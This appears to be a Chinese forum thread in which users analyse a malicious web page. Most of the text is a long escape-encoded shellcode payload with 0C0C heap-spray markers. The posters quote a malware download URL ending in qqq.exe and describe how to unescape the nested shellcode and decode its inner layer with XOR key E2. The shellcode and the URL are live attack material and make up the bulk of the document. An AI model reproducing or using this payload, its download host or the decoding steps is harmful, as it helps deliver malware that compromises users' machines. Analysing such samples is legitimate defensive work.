ShellCode的那个吧..
只看懂一点
又有新进展...

\x61\x62\x63\x64\x30\x43\x30\x43\x61\x62\x63\x64\x36\x30\x39\x30\x61\x62\x63\x64\x31\x43\x45\x42\x61\x62\x63\x64\x34\x42\x35\x42\x61\x62\x63\x64\x43\x39\x33\x33\x61\x62\x63\x64\x42\x39\x36\x36\x61\x62\x63\x64\x30\x33\x46\x37\x61\x62\x63\x64\x33\x42\x38\x31\x61\x62\x63\x64\x30\x42\x46\x46\x61\x62\x63\x64\x45\x31\x36\x30\x61\x62\x63\x64\x38\x35\x30\x46\x61\x62\x63\x64\x30\x32\x35\x34\x61\x62\x63\x64\x30\x30\x30\x30\x61\x62\x63\x64\x33\x34\x38\x30\x61\x62\x63\x64\x45\x32\x30\x42\x61\x62\x63\x64\x46\x41\x45\x32\x61\x62\x63\x64\x30\x35\x45\x42\x61\x62\x63\x64\x44\x46\x45\x38\x61\x62\x63\x64\x46\x46\x46\x46\x61\x62\x63\x64\x30\x42\x46\x46\x61\x62\x63\x64\x45\x31\x36\x30\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x38\x36\x42\x44\x61\x62\x63\x64\x44\x32\x34\x33\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x36\x39\x45\x32\x61\x62\x63\x64\x45\x45\x41\x32\x61\x62\x63\x64\x39\x32\x36\x39\x61\x62\x63\x64\x34\x46\x46\x45\x61\x62\x63\x64\x38\x41\x36\x39\x61\x62\x63\x64\x36\x39\x45\x41\x61\x62\x63\x64\x38\x38\x31\x35\x61\x62\x63\x64\x42\x42\x45\x44\x61\x62\x63\x64\x43\x30\x30\x41\x61\x62\x63\x64\x45\x32\x45\x31\x61\x62\x63\x64\x37\x32\x45\x32\x61\x62\x63\x64\x31\x41\x30\x30\x61\x62\x63\x64\x44\x31\x38\x41\x61\x62\x63\x64\x45\x32\x44\x30\x61\x62\x63\x64\x38\x41\x45\x32\x61\x62\x63\x64\x39\x31\x42\x37\x61\x62\x63\x64\x39\x30\x38\x37\x61\x62\x63\x64\x36\x39\x42\x36\x61\x62\x63\x64\x45\x45\x41\x34\x61\x62\x63\x64\x37\x32\x30\x41\x61\x62\x63\x64\x45\x32\x45\x30\x61\x62\x63\x64\x36\x39\x45\x32\x61\x62\x63\x64\x38\x38\x30\x41\x61\x62\x63\x64\x42\x42\x45\x33\x61\x62\x63\x64\x45\x30\x30\x41\x61\x62\x63\x64\x45\x32\x45\x31\x61\x62\x63\x64\x30\x30\x45\x32\x61\x62\x63\x64\x38\x41\x31\x42\x61\x62\x63\x64\x38\x43\x38\x44\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x39\x37\x38\x41\x61\x62\x63\x64\x38\x45\x39\x30\x61\x62\x63\x64\x42\x36\x38\x46\x61\x62\x63\x64\x46\x34\x31\x44\x61\x62\x63\x64\x32\x32\x36\x37\x61\x62\x63\x64\x46\x31\x39\x37\x61\x62\x63\x64\x38\x44\x38\x41\x61\x62\x63\x64\x45\x32\x38\x43\x61\x62\x63\x64\x38\x41\x45\x32\x61\x62\x63\x64\x39\x30\x39\x37\x61\x62\x63\x64\x38\x46\x38\x45\x61\x62\x63\x64\x36\x39\x42\x36\x61\x62\x63\x64\x45\x45\x41\x34\x61\x62\x63\x64\x38\x32\x30\x41\x61\x62\x63\x64\x45\x32\x45\x30\x61\x62\x63\x64\x36\x39\x45\x32\x61\x62\x63\x64\x38\x38\x30\x41\x61\x62\x63\x64\x42\x42\x45\x33\x61\x62\x63\x64\x33\x30\x30\x41\x61\x62\x63\x64\x45\x32\x45\x30\x61\x62\x63\x64\x30\x30\x45\x32\x61\x62\x63\x64\x38\x41\x31\x42\x61\x62\x63\x64\x44\x31\x38\x45\x61\x62\x63\x64\x45\x32\x44\x30\x61\x62\x63\x64\x39\x31\x38\x41\x61\x62\x63\x64\x38\x37\x38\x41\x61\x62\x63\x64\x42\x36\x38\x45\x61\x62\x63\x64\x41\x34\x36\x39\x61\x62\x63\x64\x30\x41\x45\x45\x61\x62\x63\x64\x45\x30\x41\x33\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x30\x41\x36\x39\x61\x62\x63\x64\x45\x33\x38\x38\x61\x62\x63\x64\x30\x41\x42\x42\x61\x62\x63\x64\x45\x30\x35\x31\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x31\x42\x30\x30\x61\x62\x63\x64\x30\x45\x36\x33\x61\x62\x63\x64\x45\x33\x45\x32\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x33\x45\x36\x39\x61\x62\x63\x64\x32\x31\x36\x33\x61\x62\x63\x64\x45\x32\x36\x32\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x46\x38\x38\x38\x61\x62\x63\x64\x38\x38\x42\x31\x61\x62\x63\x64\x31\x44\x45\x32\x61\x62\x63\x64\x41\x36\x42\x34\x61\x62\x63\x64\x32\x32\x44\x31\x61\x62\x63\x64\x36\x32\x41\x32\x61\x62\x63\x64\x45\x31\x44\x45\x61\x62\x63\x64\x39\x37\x45\x32\x61\x62\x63\x64\x36\x42\x31\x42\x61\x62\x63\x64\x37\x32\x36\x34\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x32\x35\x45\x32\x61\x62\x63\x64\x45\x31\x45\x36\x61\x62\x63\x64\x38\x33\x42\x45\x61\x62\x63\x64\x38\x37\x43\x43\x61\x62\x63\x64\x41\x36\x32\x35\x61\x62\x63\x64\x45\x36\x45\x31\x61\x62\x63\x64\x38\x37\x39\x41\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x32\x42\x44\x31\x61\x62\x63\x64\x42\x33\x42\x33\x61\x62\x63\x64\x42\x35\x42\x31\x61\x62\x63\x64\x44\x31\x42\x33\x61\x62\x63\x64\x36\x39\x32\x32\x61\x62\x63\x64\x41\x32\x41\x34\x61\x62\x63\x64\x30\x43\x30\x41\x61\x62\x63\x64\x45\x32\x45\x33\x61\x62\x63\x64\x36\x31\x45\x32\x61\x62\x63\x64\x45\x32\x31\x41\x61\x62\x63\x64\x36\x37\x45\x44\x61\x62\x63\x64\x45\x33\x37\x45\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x45\x31\x38\x38\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x45\x30\x38\x38\x61\x62\x63\x64\x45\x32\x38\x41\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x42\x31\x32\x32\x61\x62\x63\x64\x41\x34\x36\x39\x61\x62\x63\x64\x30\x41\x43\x36\x61\x62\x63\x64\x45\x33\x32\x46\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x31\x41\x36\x31\x61\x62\x63\x64\x45\x44\x31\x44\x61\x62\x63\x64\x39\x39\x36\x36\x61\x62\x63\x64\x45\x32\x45\x33\x61\x62\x63\x64\x36\x42\x45\x32\x61\x62\x63\x64\x38\x32\x41\x34\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x31\x44\x42\x32\x61\x62\x63\x64\x43\x41\x42\x34\x61\x62\x63\x64\x41\x34\x36\x42\x61\x62\x63\x64\x36\x39\x38\x36\x61\x62\x63\x64\x37\x32\x36\x34\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x32\x35\x45\x32\x61\x62\x63\x64\x45\x31\x45\x36\x61\x62\x63\x64\x38\x30\x42\x45\x61\x62\x63\x64\x38\x37\x43\x43\x61\x62\x63\x64\x41\x36\x32\x35\x61\x62\x63\x64\x45\x36\x45\x31\x61\x62\x63\x64\x38\x37\x39\x41\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x45\x30\x38\x38\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x45\x32\x38\x41\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x42\x31\x41\x32\x61\x62\x63\x64\x41\x34\x36\x39\x61\x62\x63\x64\x30\x41\x43\x36\x61\x62\x63\x64\x45\x33\x36\x39\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x31\x41\x36\x31\x61\x62\x63\x64\x45\x44\x31\x44\x61\x62\x63\x64\x44\x42\x36\x36\x61\x62\x63\x64\x45\x32\x45\x33\x61\x62\x63\x64\x36\x42\x45\x32\x61\x62\x63\x64\x36\x36\x36\x34\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x36\x42\x45\x32\x61\x62\x63\x64\x36\x45\x37\x43\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x36\x39\x45\x32\x61\x62\x63\x64\x38\x32\x41\x34\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x41\x34\x36\x39\x61\x62\x63\x64\x42\x32\x38\x32\x61\x62\x63\x64\x42\x34\x31\x44\x61\x62\x63\x64\x32\x35\x44\x41\x61\x62\x63\x64\x39\x32\x41\x34\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x41\x34\x32\x35\x61\x62\x63\x64\x45\x32\x39\x36\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x36\x33\x45\x32\x61\x62\x63\x64\x45\x32\x32\x35\x61\x62\x63\x64\x45\x32\x45\x30\x61\x62\x63\x64\x44\x31\x45\x32\x61\x62\x63\x64\x36\x39\x33\x39\x61\x62\x63\x64\x38\x36\x42\x43\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x41\x34\x36\x46\x61\x62\x63\x64\x42\x32\x39\x32\x61\x62\x63\x64\x45\x32\x38\x41\x61\x62\x63\x64\x45\x32\x45\x36\x61\x62\x63\x64\x42\x35\x45\x32\x61\x62\x63\x64\x39\x34\x31\x44\x61\x62\x63\x64\x31\x44\x38\x32\x61\x62\x63\x64\x45\x36\x42\x34\x61\x62\x63\x64\x32\x42\x44\x31\x61\x62\x63\x64\x45\x32\x35\x42\x61\x62\x63\x64\x45\x32\x45\x36\x61\x62\x63\x64\x36\x32\x45\x32\x61\x62\x63\x64\x45\x44\x39\x45\x61\x62\x63\x64\x37\x37\x31\x44\x61\x62\x63\x64\x45\x45\x39\x36\x61\x62\x63\x64\x39\x45\x36\x32\x61\x62\x63\x64\x31\x44\x45\x44\x61\x62\x63\x64\x39\x36\x45\x32\x61\x62\x63\x64\x36\x32\x45\x37\x61\x62\x63\x64\x45\x44\x39\x36\x61\x62\x63\x64\x37\x37\x31\x44\x61\x62\x63\x64\x30\x39\x30\x30\x61\x62\x63\x64\x32\x31\x36\x39\x61\x62\x63\x64\x45\x32\x43\x46\x61\x62\x63\x64\x45\x32\x45\x36\x61\x62\x63\x64\x36\x31\x45\x32\x61\x62\x63\x64\x45\x32\x31\x41\x61\x62\x63\x64\x45\x31\x39\x44\x61\x62\x63\x64\x42\x43\x36\x42\x61\x62\x63\x64\x38\x38\x39\x32\x61\x62\x63\x64\x36\x46\x45\x32\x61\x62\x63\x64\x39\x36\x41\x34\x61\x62\x63\x64\x31\x44\x42\x32\x61\x62\x63\x64\x39\x32\x39\x34\x61\x62\x63\x64\x31\x44\x42\x35\x61\x62\x63\x64\x36\x36\x35\x34\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x31\x44\x45\x32\x61\x62\x63\x64\x44\x32\x42\x34\x61\x62\x63\x64\x30\x39\x36\x33\x61\x62\x63\x64\x45\x36\x45\x32\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x31\x39\x36\x31\x61\x62\x63\x64\x39\x44\x45\x32\x61\x62\x63\x64\x31\x44\x34\x37\x61\x62\x63\x64\x38\x32\x39\x34\x61\x62\x63\x64\x42\x34\x31\x44\x61\x62\x63\x64\x31\x44\x44\x36\x61\x62\x63\x64\x36\x36\x35\x34\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x31\x44\x45\x32\x61\x62\x63\x64\x44\x36\x42\x34\x61\x62\x63\x64\x36\x34\x36\x39\x61\x62\x63\x64\x45\x32\x37\x32\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x37\x43\x36\x39\x61\x62\x63\x64\x45\x32\x36\x45\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x45\x36\x32\x35\x61\x62\x63\x64\x42\x45\x45\x31\x61\x62\x63\x64\x43\x43\x38\x33\x61\x62\x63\x64\x42\x31\x38\x37\x61\x62\x63\x64\x42\x34\x31\x44\x61\x62\x63\x64\x36\x39\x43\x45\x61\x62\x63\x64\x36\x45\x35\x43\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x36\x39\x45\x32\x61\x62\x63\x64\x37\x32\x36\x34\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x32\x35\x45\x32\x61\x62\x63\x64\x45\x35\x45\x36\x61\x62\x63\x64\x38\x30\x42\x45\x61\x62\x63\x64\x38\x37\x43\x43\x61\x62\x63\x64\x30\x45\x36\x33\x61\x62\x63\x64\x45\x33\x45\x32\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x33\x45\x36\x39\x61\x62\x63\x64\x45\x32\x38\x41\x61\x62\x63\x64\x45\x32\x45\x33\x61\x62\x63\x64\x42\x31\x45\x32\x61\x62\x63\x64\x45\x32\x38\x41\x61\x62\x63\x64\x45\x32\x45\x33\x61\x62\x63\x64\x42\x35\x45\x32\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x42\x34\x31\x44\x61\x62\x63\x64\x36\x39\x46\x45\x61\x62\x63\x64\x44\x31\x31\x39\x61\x62\x63\x64\x44\x31\x32\x32\x61\x62\x63\x64\x36\x33\x33\x39\x61\x62\x63\x64\x45\x32\x30\x45\x61\x62\x63\x64\x45\x32\x45\x30\x61\x62\x63\x64\x36\x39\x45\x32\x61\x62\x63\x64\x36\x31\x32\x45\x61\x62\x63\x64\x42\x36\x31\x41\x61\x62\x63\x64\x45\x41\x39\x46\x61\x62\x63\x64\x46\x45\x36\x42\x61\x62\x63\x64\x36\x31\x45\x33\x61\x62\x63\x64\x45\x36\x32\x32\x61\x62\x63\x64\x31\x31\x30\x39\x61\x62\x63\x64\x32\x45\x36\x39\x61\x62\x63\x64\x33\x42\x36\x39\x61\x62\x63\x64\x32\x31\x36\x31\x61\x62\x63\x64\x44\x31\x46\x32\x61\x62\x63\x64\x42\x32\x32\x32\x61\x62\x63\x64\x42\x31\x42\x33\x61\x62\x63\x64\x42\x32\x42\x32\x61\x62\x63\x64\x42\x32\x42\x32\x61\x62\x63\x64\x42\x32\x42\x32\x61\x62\x63\x64\x42\x32\x42\x35\x61\x62\x63\x64\x36\x39\x42\x32\x61\x62\x63\x64\x45\x41\x41\x34\x61\x62\x63\x64\x36\x35\x30\x41\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x36\x33\x45\x32\x61\x62\x63\x64\x46\x41\x32\x36\x61\x62\x63\x64\x45\x32\x45\x36\x61\x62\x63\x64\x38\x33\x45\x32\x61\x62\x63\x64\x41\x34\x32\x35\x61\x62\x63\x64\x45\x31\x46\x36\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x44\x31\x45\x32\x61\x62\x63\x64\x36\x39\x32\x42\x61\x62\x63\x64\x43\x36\x44\x45\x61\x62\x63\x64\x30\x44\x36\x31\x61\x62\x63\x64\x36\x31\x39\x34\x61\x62\x63\x64\x45\x41\x32\x36\x61\x62\x63\x64\x32\x42\x44\x31\x61\x62\x63\x64\x30\x35\x31\x44\x61\x62\x63\x64\x45\x32\x38\x38\x61\x62\x63\x64\x42\x34\x31\x44\x61\x62\x63\x64\x38\x36\x46\x36\x61\x62\x63\x64\x44\x32\x34\x33\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x36\x39\x45\x32\x61\x62\x63\x64\x45\x45\x41\x32\x61\x62\x63\x64\x39\x32\x36\x39\x61\x62\x63\x64\x34\x46\x46\x45\x61\x62\x63\x64\x38\x41\x36\x39\x61\x62\x63\x64\x36\x39\x45\x41\x61\x62\x63\x64\x36\x42\x31\x35\x61\x62\x63\x64\x38\x36\x42\x34\x61\x62\x63\x64\x45\x36\x38\x38\x61\x62\x63\x64\x30\x41\x42\x42\x61\x62\x63\x64\x45\x32\x34\x31\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x30\x30\x37\x32\x61\x62\x63\x64\x38\x41\x31\x41\x61\x62\x63\x64\x44\x30\x44\x31\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x42\x37\x38\x41\x61\x62\x63\x64\x38\x37\x39\x31\x61\x62\x63\x64\x42\x36\x39\x30\x61\x62\x63\x64\x45\x34\x36\x39\x61\x62\x63\x64\x46\x30\x30\x41\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x36\x39\x45\x32\x61\x62\x63\x64\x38\x38\x30\x41\x61\x62\x63\x64\x42\x42\x45\x37\x61\x62\x63\x64\x36\x36\x30\x41\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x30\x30\x45\x32\x61\x62\x63\x64\x44\x31\x31\x42\x61\x62\x63\x64\x42\x35\x31\x44\x61\x62\x63\x64\x42\x34\x31\x44\x61\x62\x63\x64\x36\x32\x45\x36\x61\x62\x63\x64\x30\x41\x44\x41\x61\x62\x63\x64\x44\x41\x36\x32\x61\x62\x63\x64\x39\x37\x30\x42\x61\x62\x63\x64\x36\x33\x46\x33\x61\x62\x63\x64\x45\x37\x39\x41\x61\x62\x63\x64\x37\x32\x37\x32\x61\x62\x63\x64\x37\x32\x37\x32\x61\x62\x63\x64\x45\x41\x39\x36\x61\x62\x63\x64\x31\x44\x36\x39\x61\x62\x63\x64\x36\x39\x42\x37\x61\x62\x63\x64\x36\x46\x30\x45\x61\x62\x63\x64\x45\x37\x41\x32\x61\x62\x63\x64\x30\x32\x31\x44\x61\x62\x63\x64\x44\x41\x30\x41\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x32\x31\x45\x32\x61\x62\x63\x64\x44\x41\x36\x32\x61\x62\x63\x64\x36\x32\x30\x41\x61\x62\x63\x64\x30\x42\x44\x41\x61\x62\x63\x64\x46\x33\x39\x37\x61\x62\x63\x64\x39\x41\x36\x33\x61\x62\x63\x64\x37\x32\x45\x37\x61\x62\x63\x64\x37\x32\x37\x32\x61\x62\x63\x64\x39\x36\x37\x32\x61\x62\x63\x64\x38\x41\x30\x35\x61\x62\x63\x64\x45\x38\x45\x41\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x41\x32\x36\x46\x61\x62\x63\x64\x31\x44\x45\x37\x61\x62\x63\x64\x30\x41\x30\x32\x61\x62\x63\x64\x45\x32\x46\x35\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x30\x41\x32\x31\x61\x62\x63\x64\x45\x32\x46\x33\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x46\x33\x35\x41\x61\x62\x63\x64\x45\x36\x45\x33\x61\x62\x63\x64\x32\x30\x36\x32\x61\x62\x63\x64\x45\x32\x45\x45\x61\x62\x63\x64\x45\x30\x30\x39\x61\x62\x63\x64\x32\x31\x42\x41\x61\x62\x63\x64\x31\x42\x30\x41\x61\x62\x63\x64\x31\x44\x31\x44\x61\x62\x63\x64\x42\x39\x31\x44\x61\x62\x63\x64\x45\x35\x32\x34\x61\x62\x63\x64\x36\x42\x35\x41\x61\x62\x63\x64\x45\x33\x42\x44\x61\x62\x63\x64\x32\x35\x38\x34\x61\x62\x63\x64\x45\x37\x41\x35\x61\x62\x63\x64\x30\x32\x31\x44\x61\x62\x63\x64\x42\x31\x32\x31\x61\x62\x63\x64\x33\x45\x36\x39\x61\x62\x63\x64\x38\x38\x42\x31\x61\x62\x63\x64\x38\x41\x41\x32\x61\x62\x63\x64\x46\x32\x45\x32\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x36\x39\x42\x35\x61\x62\x63\x64\x43\x32\x41\x34\x61\x62\x63\x64\x36\x34\x30\x41\x61\x62\x63\x64\x31\x44\x31\x44\x61\x62\x63\x64\x42\x41\x31\x44\x61\x62\x63\x64\x42\x33\x32\x31\x61\x62\x63\x64\x36\x39\x42\x34\x61\x62\x63\x64\x44\x45\x39\x37\x61\x62\x63\x64\x39\x36\x36\x39\x61\x62\x63\x64\x39\x41\x43\x43\x61\x62\x63\x64\x31\x37\x45\x31\x61\x62\x63\x64\x36\x39\x42\x34\x61\x62\x63\x64\x43\x32\x39\x34\x61\x62\x63\x64\x31\x37\x45\x31\x61\x62\x63\x64\x32\x42\x44\x31\x61\x62\x63\x64\x41\x33\x41\x42\x61\x62\x63\x64\x45\x31\x34\x46\x61\x62\x63\x64\x44\x31\x32\x37\x61\x62\x63\x64\x45\x44\x33\x39\x61\x62\x63\x64\x46\x32\x35\x43\x61\x62\x63\x64\x33\x34\x44\x38\x61\x62\x63\x64\x45\x41\x39\x36\x61\x62\x63\x64\x32\x39\x32\x33\x61\x62\x63\x64\x45\x31\x45\x35\x61\x62\x63\x64\x41\x32\x33\x38\x61\x62\x63\x64\x31\x33\x30\x39\x61\x62\x63\x64\x46\x44\x44\x39\x61\x62\x63\x64\x30\x35\x39\x37\x61\x62\x63\x64\x36\x39\x42\x43\x61\x62\x63\x64\x43\x36\x42\x43\x61\x62\x63\x64\x33\x46\x45\x31\x61\x62\x63\x64\x36\x39\x38\x34\x61\x62\x63\x64\x41\x39\x45\x45\x61\x62\x63\x64\x42\x43\x36\x39\x61\x62\x63\x64\x45\x31\x46\x45\x61\x62\x63\x64\x36\x39\x33\x46\x61\x62\x63\x64\x36\x39\x45\x36\x61\x62\x63\x64\x32\x37\x45\x31\x61\x62\x63\x64\x42\x43\x34\x39\x61\x62\x63\x64\x32\x31\x42\x42\x61\x62\x63\x64\x39\x42\x30\x41\x61\x62\x63\x64\x31\x44\x31\x45\x61\x62\x63\x64\x35\x30\x31\x44\x61\x62\x63\x64\x30\x30\x31\x30\x61\x62\x63\x64\x35\x30\x31\x36\x61\x62\x63\x64\x45\x44\x44\x34\x61\x62\x63\x64\x31\x32\x46\x31\x61\x62\x63\x64\x39\x39\x41\x41\x61\x62\x63\x64\x44\x30\x44\x46\x61\x62\x63\x64\x37\x33\x39\x36\x61\x62\x63\x64\x36\x37\x45\x45\x61\x62\x63\x64\x34\x44\x33\x44\x61\x62\x63\x64\x38\x31\x35\x39\x61\x62\x63\x64\x33\x33\x36\x42\x61\x62\x63\x64\x42\x33\x41\x44\x61\x62\x63\x64\x35\x38\x41\x32\x61\x62\x63\x64\x45\x35\x39\x44\x61\x62\x63\x64\x43\x30\x37\x30\x61\x62\x63\x64\x46\x43\x39\x32\x61\x62\x63\x64\x38\x36\x34\x36\x61\x62\x63\x64\x37\x31\x30\x44\x61\x62\x63\x64\x30\x36\x44\x30\x61\x62\x63\x64\x36\x43\x37\x36\x61\x62\x63\x64\x45\x38\x46\x31\x61\x62\x63\x64\x39\x42\x34\x45\x61\x62\x63\x64\x30\x34\x44\x42\x61\x62\x63\x64\x32\x36\x37\x41\x61\x62\x63\x64\x46\x44\x36\x46\x61\x62\x63\x64\x42\x35\x39\x36\x61\x62\x63\x64\x45\x46\x38\x34\x61\x62\x63\x64\x41\x31\x31\x44\x61\x62\x63\x64\x34\x45\x35\x43\x61\x62\x63\x64\x37\x41\x33\x39\x61\x62\x63\x64\x46\x32\x45\x38\x61\x62\x63\x64\x36\x32\x31\x41\x61\x62\x63\x64\x34\x44\x33\x34\x61\x62\x63\x64\x31\x39\x37\x38\x61\x62\x63\x64\x46\x37\x42\x31\x61\x62\x63\x64\x38\x41\x38\x34\x61\x62\x63\x64\x39\x36\x39\x36\x61\x62\x63\x64\x44\x38\x39\x32\x61\x62\x63\x64\x43\x44\x43\x44\x61\x62\x63\x64\x38\x34\x39\x31\x61\x62\x63\x64\x44\x37\x38\x33\x61\x62\x63\x64\x43\x43\x44\x30\x61\x62\x63\x64\x38\x46\x38\x39\x61\x62\x63\x64\x39\x32\x38\x42\x61\x62\x63\x64\x38\x43\x43\x43\x61\x62\x63\x64\x39\x36\x38\x37\x61\x62\x63\x64\x38\x33\x43\x44\x61\x62\x63\x64\x39\x33\x43\x44\x61\x62\x63\x64\x39\x33\x39\x33\x61\x62\x63\x64\x38\x37\x43\x43\x61\x62\x63\x64\x38\x37\x39\x41\x61\x62\x63\x64\x45\x32\x45\x32\x61\x62\x63\x64\x45\x32\x45\x32\x00\x00
用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;  Embedded Web Browser from: http://bsalsa.com/; InfoPath.1)

虾米，ASKII？

http://sfa52.kmip.net/a/qqq.exe 嵌套shellcode，第二次的shellcode解密密钥为E2

汗，你改什么源文件，继续esc，得到如下源代码：

上面代码也是shellcode，将abcd替换为%u后再esc，第二次esc前输入密钥E2即可。

abcd0C0Cabcd6090abcd1CEBabcd4B5BabcdC933abcdB966abcd03F7abcd3B81abcd0BFFabcdE160abcd850Fabcd0254abcd0000abcd3480abcdE20BabcdFAE2abcd05EBabcdDFE8abcdFFFFabcd0BFFabcdE160abcdE2E2abcd86BDabcdD243abcdE2E2abcd69E2abcdEEA2abcd9269abcd4FFEabcd8A69abcd69EAabcd8815abcdBBEDabcdC00AabcdE2E1abcd72E2abcd1A00abcdD18AabcdE2D0abcd8AE2abcd91B7abcd9087abcd69B6abcdEEA4abcd720AabcdE2E0abcd69E2abcd880AabcdBBE3abcdE00AabcdE2E1abcd00E2abcd8A1Babcd8C8DabcdE2E2abcd978Aabcd8E90abcdB68FabcdF41Dabcd2267abcdF197abcd8D8AabcdE28Cabcd8AE2abcd9097abcd8F8Eabcd69B6abcdEEA4abcd820AabcdE2E0abcd69E2abcd880AabcdBBE3abcd300AabcdE2E0abcd00E2abcd8A1BabcdD18EabcdE2D0abcd918Aabcd878AabcdB68EabcdA469abcd0AEEabcdE0A3abcdE2E2abcd0A69abcdE388abcd0ABBabcdE051abcdE2E2abcd1B00abcd0E63abcdE3E2abcdE2E2abcd3E69abcd2163abcdE262abcdE2E2abcdE288abcdF888abcd88B1abcd1DE2abcdA6B4abcd22D1abcd62A2abcdE1DEabcd97E2abcd6B1Babcd7264abcdE2E2abcd25E2abcdE1E6abcd83BEabcd87CCabcdA625abcdE6E1abcd879AabcdE2E2abcd2BD1abcdB3B3abcdB5B1abcdD1B3abcd6922abcdA2A4abcd0C0AabcdE2E3abcd61E2abcdE21Aabcd67EDabcdE37EabcdE2E2abcdE288abcdE288abcdE188abcdE288abcdE088abcdE28AabcdE2E2abcdB122abcdA469abcd0AC6abcdE32FabcdE2E2abcd1A61abcdED1Dabcd9966abcdE2E3abcd6BE2abcd82A4abcdE288abcd1DB2abcdCAB4abcdA46Babcd6986abcd7264abcdE2E2abcd25E2abcdE1E6abcd80BEabcd87CCabcdA625abcdE6E1abcd879AabcdE2E2abcdE288abcdE288abcdE088abcdE288abcdE288abcdE28AabcdE2E2abcdB1A2abcdA469abcd0AC6abcdE369abcdE2E2abcd1A61abcdED1DabcdDB66abcdE2E3abcd6BE2abcd6664abcdE2E2abcd6BE2abcd6E7CabcdE2E2abcd69E2abcd82A4abcdE288abcdE288abcdE288abcdA469abcdB282abcdB41Dabcd25DAabcd92A4abcdE2E2abcdE2E2abcdA425abcdE296abcdE2E2abcd63E2abcdE225abcdE2E0abcdD1E2abcd6939abcd86BCabcdE288abcdA46FabcdB292abcdE28AabcdE2E6abcdB5E2abcd941Dabcd1D82abcdE6B4abcd2BD1abcdE25BabcdE2E6abcd62E2abcdED9Eabcd771DabcdEE96abcd9E62abcd1DEDabcd96E2abcd62E7abcdED96abcd771Dabcd0900abcd2169abcdE2CFabcdE2E6abcd61E2abcdE21AabcdE19DabcdBC6Babcd8892abcd6FE2abcd96A4abcd1DB2abcd9294abcd1DB5abcd6654abcdE2E2abcd1DE2abcdD2B4abcd0963abcdE6E2abcdE2E2abcd1961abcd9DE2abcd1D47abcd8294abcdB41Dabcd1DD6abcd6654abcdE2E2abcd1DE2abcdD6B4abcd6469abcdE272abcdE2E2abcd7C69abcdE26EabcdE2E2abcdE625abcdBEE1abcdCC83abcdB187abcdB41Dabcd69CEabcd6E5CabcdE2E2abcd69E2abcd7264abcdE2E2abcd25E2abcdE5E6abcd80BEabcd87CCabcd0E63abcdE3E2abcdE2E2abcd3E69abcdE28AabcdE2E3abcdB1E2abcdE28AabcdE2E3abcdB5E2abcdE288abcdE288abcdB41Dabcd69FEabcdD119abcdD122abcd6339abcdE20EabcdE2E0abcd69E2abcd612EabcdB61AabcdEA9FabcdFE6Babcd61E3abcdE622abcd1109abcd2E69abcd3B69abcd2161abcdD1F2abcdB222abcdB1B3abcdB2B2abcdB2B2abcdB2B2abcdB2B5abcd69B2abcdEAA4abcd650AabcdE2E2abcd63E2abcdFA26abcdE2E6abcd83E2abcdA425abcdE1F6abcdE2E2abcdD1E2abcd692BabcdC6DEabcd0D61abcd6194abcdEA26abcd2BD1abcd051DabcdE288abcdB41Dabcd86F6abcdD243abcdE2E2abcd69E